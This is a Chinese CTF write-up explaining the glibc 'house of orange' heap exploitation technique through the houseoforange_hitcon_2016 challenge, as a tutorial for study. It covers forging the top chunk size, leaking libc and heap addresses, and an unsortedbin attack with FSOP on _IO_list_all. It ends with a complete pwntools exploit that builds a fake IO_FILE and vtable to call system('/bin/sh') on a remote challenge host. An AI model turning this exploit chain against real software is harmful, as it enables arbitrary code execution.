首页 > 其他分享 >house of orange(无free的一种利用方法)

house of orange(无free的一种利用方法)

时间:2023-10-26 17:22:20浏览次数:41  
标签:p64 io libc house free JUMP base IO orange

house of orange(没有free情况下获得一个unsortedbin)

之前就已经了解了house of orange但是没有写博客记录,这几天正好把buu上前几页当时没写的写了一下,其中就有著名的house of orange

实现效果:

house of orange可以实现程序无free的情况下,放入一个unsortedbin
条件:
能控制topchunk->size,能分配的chunk的大小也要大于伪造后的topchunk->size

单一效果薄弱但是如果配合unsortedbin&FSOP等攻击方法就能实现很不错的效果,如此巧妙的利用链早在2016年就被hitcon战队的orange师傅发现实在是太强了,并且据我了解在2017年orange大佬又在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门(Orz)

例题:houseoforange_hitcon_2016

保护开满,且根据功能来看是没有free的,进IDA看一下

漏洞在upgrade处,会重新根据输入的size来写入内容,造成堆溢出,程序没有给free,我们的house of orange就派上用场了

我们可以利用堆溢出伪造topchunk的size但是这个size也要满足一定条件

1.size必须要对齐到内存页,分配的内存大小加上top chunk size,需要是0x1000的倍数。

2.pre_inuse位为1

3.size不能小于最小chunk的大小

我们先申请一个0x10,程序会创建三个0x20的chunk,第一个是管理块,第二个是我们控制的内容块,

我们利用堆溢出修改topchunk->size = 0x1000-0x60+1 = 0xfa1,此时再申请个大于0xfa1的chunk就把fake_topchunk free掉了

add(0x10, b'aaaa')
edit(0x100, b'a'*0x18+p64(0x21)+p64(0)*3+p64(0xfa1))
add(0x1000, b'aaaa')

这时候我们再申请一个chunk会带出残留指针和堆地址,当然这个chunk需要是一个largechunk才能带出堆地址

add(0x400, b'a' * 8)
show()
io.recvuntil(b'Name of house : ')

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -   88 - 0x10 - libc.sym['__malloc_hook'] -0x610
success('libc_base   ========================>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']

edit(0x20,b'a'*0x10)

show()
io.recvuntil(b'aaaaaaaaaaaaaaaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base   ========================>'+hex(heap_base)) 

接下来要利用unsortedbin attack&FSOP

unsortedbin attack

在malloc.c中的_int_malloc有一段关于Unsorted bin chunk摘除的代码:

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

看后两行就好了,unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),
后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制
unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),
即unsorted_chunk的块地址写到任意可写地址内。

假设我们想修改的地址为A,那么我们控制BK = A - 0x10即可

像这样我们可以将main_arena+88写进_IO_list_all这么做是为了进行FSOP

FSOP

进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

IO_FILE结构体:
0x0   _flags

0x8   _IO_read_ptr

0x10  _IO_read_end

0x18  _IO_read_base

0x20  _IO_write_base

0x28  _IO_write_ptr

0x30  _IO_write_end

0x38  _IO_buf_base

0x40  _IO_buf_end

0x48  _IO_save_base

0x50  _IO_backup_base

0x58  _IO_save_end

0x60  _markers

0x68  _chain

0x70  _fileno

0x74  _flags2

0x78  _old_offset

0x80  _cur_column

0x82  _vtable_offset

0x83  _shortbuf

0x88  _lock

0x90  _offset

0x98  _codecvt

0xa0  _wide_data

0xa8  _freeres_list

0xb0  _freeres_buf

0xb8  __pad5

0xc0  _mode

0xc4  _unused2

0xd8  vtable

vtable:
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden =

{

  JUMP_INIT_DUMMY,

  JUMP_INIT(finish, _IO_wstr_finish),

  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),

  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),

  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),

  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),

  JUMP_INIT(xsputn, _IO_wdefault_xsputn),

  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),

  JUMP_INIT(seekoff, _IO_wstr_seekoff),

  JUMP_INIT(seekpos, _IO_default_seekpos),

  JUMP_INIT(setbuf, _IO_default_setbuf),

  JUMP_INIT(sync, _IO_default_sync),

  JUMP_INIT(doallocate, _IO_wdefault_doallocate),

  JUMP_INIT(read, _IO_default_read),

  JUMP_INIT(write, _IO_default_write),

  JUMP_INIT(seek, _IO_default_seek),

  JUMP_INIT(close, _IO_default_close),

  JUMP_INIT(stat, _IO_default_stat),

  JUMP_INIT(showmanyc, _IO_default_showmanyc),

  JUMP_INIT(imbue, _IO_default_imbue)

};

IO_FILE利用时,在libc版本低于2.27的时候,可以利用调用链malloc_printerr->_libc_message->abort->_IO_flush_all_lockup->_IO_overflow,根据条件伪造IO_FILE结构,vtable表,触发system(/bin/sh)或者one_gadget

在glibc2.23libio 的genops.c的779行可以看到我们需要满足的条件 ,我们可以选择让mode <= 0,IO_write_ptr=1,IO_write_base=0就行 且参数是fp也就是flag字段,我们可以在这写'/bin/sh'劫持io_overflow为system

那么为什么让main_arena+88写进_IO_list_all,因为chain的偏移为0x68 main_arena+88+0x68是smallbin[0x60]的位置,我们可以放进一个伪造的smallbin,在其中布置好iofile结构

看一下IO_list_all

已经是链到smallbin了,这里我们提前布置好iofile结构

payload=p64(0)+p64(0)*2+p64(system)+b'a'*(0x400-0x20)
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0)

payload+=b'/bin/sh\x00'+p64(0x61)   #伪造unsortedbin的size,让其落入0x60的smallbin
payload+=p64(0)+p64(IO_list_all-0x10) #fd & bk
payload+=p64(0)+p64(1)   #_IO_write_base & _IO_write_ptr

payload+=p64(0)*21
payload+=p64(heap_base+0x10)  #vtable 

edit(0x1000,payload)

io.sendlineafter('Your choice : ',str(1))

到此整个利用过程就结束了

但是成功率并不是%100,因为上面要满足的条件中还有一个mode字段要<=0

这个字段是4字节,那么如果p _IO_list_all的低四字节小于0x7fffffff,mode为正 否则为负,我们需要让mode为负才行,所以成功率并不是%100

exp:

#coding:utf8  
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')
 
io=remote('node4.buuoj.cn',29268)
#io = process('./houseoforange_hitcon_2016')
elf = ELF('./houseoforange_hitcon_2016')
#libc = elf.libc
libc = ELF('./libc-2.23-64.so')


def add(length, name):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("Length of name :", str(length))
    io.sendafter("Name :", name)
    io.sendlineafter("Price of Orange:", str(1))
    io.sendlineafter("Color of Orange:", str(2))


    
def show():
    io.sendlineafter("Your choice : ", "2")



def edit(length, name):
    io.sendlineafter("Your choice : ", "3")
    io.sendlineafter("Length of name :", str(length))
    io.sendafter("Name:", name)
    io.sendlineafter("Price of Orange: ", str(1))
    io.sendlineafter("Color of Orange: ", str(2))



add(0x10, b'aaaa')
edit(0x100, b'b'*0x18+p64(0x21)+p64(0)*3+p64(0xfa1))
add(0x1000, b'cccc')

add(0x400, b'a' * 8)

show()
io.recvuntil(b'Name of house : ')

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -   88 - 0x10 - libc.sym['__malloc_hook'] -0x610
success('libc_base   ========================>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']

edit(0x20,b'a'*0x10)

show()
io.recvuntil(b'aaaaaaaaaaaaaaaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base   ========================>'+hex(heap_base)) 


payload=p64(0)+p64(0)*2+p64(system)+b'a'*(0x400-0x20)
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0)

payload+=b'/bin/sh\x00'+p64(0x61) 
payload+=p64(0)+p64(IO_list_all-0x10) #fd & bk
payload+=p64(0)+p64(1)   #_IO_write_base & _IO_write_ptr

payload+=p64(0)*21
payload+=p64(heap_base+0x10)


edit(0x1000,payload)

io.sendlineafter('Your choice : ',str(1))

io.interactive()


标签:p64,io,libc,house,free,JUMP,base,IO,orange
From: https://www.cnblogs.com/s4ndw1ch/p/17789874.html

相关文章

  • Using Orange Pi One as an SPI programmer with flashrom
    UsingOrangePiOneasanSPIprogrammerwithflashrom30October2019#linux#orangepi#flashromThat'squitesimple.IwasusingArmbianBusterwith4.19.62-sunxikernel.Youneedtoenablethe spi-spidev overlay,whichyoucandobyusing armbian-......
  • 学习笔记431—freesurfer下载安装,常用术语和recon-all命令
    freesurfer下载安装,常用术语和recon-all命令1基础知识1.1简介freesurfer是一个分析和可视化大脑结构成像和功能成像的工具包,可以处理MRI、fMRI数据,进行大脑解剖学数据测量等。1.2安装freesurfer目前该软件包仅支持Linux和MacOS系统,且官方推荐下载最新版本。官网下载指南......
  • FreeRTOS深入教程(任务的引入及栈的作用)
    (文章目录)前言本篇文章开始带大家深入学习FreeRTOS,带大家学习什么是任务,并且深入学习栈的作用。一、任务的引入在FreeRTOS中,任务(Task)是一个基本的执行单元,它代表了一个并行执行的工作单元。FreeRTOS是一个实时操作系统,允许你创建多个任务,每个任务都有自己的代码、堆栈和优......
  • 1024程序员节献礼,火山引擎ByteHouse带来三重产品福利
     更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群随着信息技术飞速发展,互联网、Web3、物联网、人工智能相继出现。在这近三十年的高速发展中,“程序员”也成为构建丰富互联网世界的中坚力量。作为被程序员们日常广泛使用的工具之一,数据仓库发......
  • 嵌入式刷题(day2 new delete 和malloc free的区别)
    (文章目录)前言本篇文章我们来讲解一下newdelete和mallocfree的区别,这个区别在许多面试题中也会经常问到,那么我们就具体的来看看他们有什么不同吧。一、区别new和delete是C++中的运算符,用于动态分配和释放内存空间,而malloc和free是C语言中的函数,用于同样的目的......
  • ABB AC900F学习笔记327:WINCC7.5SP2作为OPC SERVER,freelance2019SP2作为OPCC LIENT练习
    这一篇博客我在新浪博客记录过,地址是 ABBAC900F学习笔记327:WINCC7.5SP2作为OPCSERVER,freelance2019SP2作为OPCCLIENT练习_来自金沙江的小鱼_新浪博客(sina.com.cn)为了避免丢失,我在这里再次记录一遍今天做一个练习,WINCC7.5SP2作为OPCSERVER,freelance2019SP2作为OPCCLIENT。......
  • ABBAC900F学习笔记326:freelance2019SP1作为OPC DA SERVER,WINCC7.5SP2作为OPC DA CLIEN
    昨天练习了ABB的OPCDA通过寻,在同一台计算机上实验的。今天测试局域网上freelance2019SP1作为OPCDASERVER,WINCC7.5SP2作为OPCDACLIENT通讯。测试在昨天的ABB练习程序基础上进行。1.freelance2019SP1作为OPCDASERVER,配置DCOM,参考前面WINCC作为DASERVER的配置方法WINDO......
  • ABBAC900F学习笔记325:FREELANCE2019SP1的OPC练习1
    这一篇博客我爱新浪博客发表过,地址是ABBAC900F学习笔记325:FREELANCE2019SP1的OPC练习1_来自金沙江的小鱼_新浪博客(sina.com.cn)我在这里也记录一遍今天在家做一下freelance2019SP1的OPC通讯练习。新建一个freelance项目,插入硬件和软件、OPC网关、OS等,按照以前的练习配置资源......
  • House of force以及相关例题学习
    学习于:(1)https://bbs.kanxue.com/thread-262114.htm(2):https://www.cnblogs.com/ZIKH26/articles/16533388.html以及经典的wiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-force/(可能我的文章会与他们有部分重合因为我是一步步跟着调试进行,如有问题请联......
  • FreeRTOS入门教程(事件组概念和函数使用)
    (文章目录)前言本篇文章将带大家学习什么是事件组以及如何使用事件组。一、事件组概念事件组通常是由一组位(bits)组成的数据结构,其中每一位都对应着某个特定的事件。每个位可以被设置或清除,表示相应的事件发生或未发生。这种位的组合形成了一个类似于二进制数的集合,每个位都代......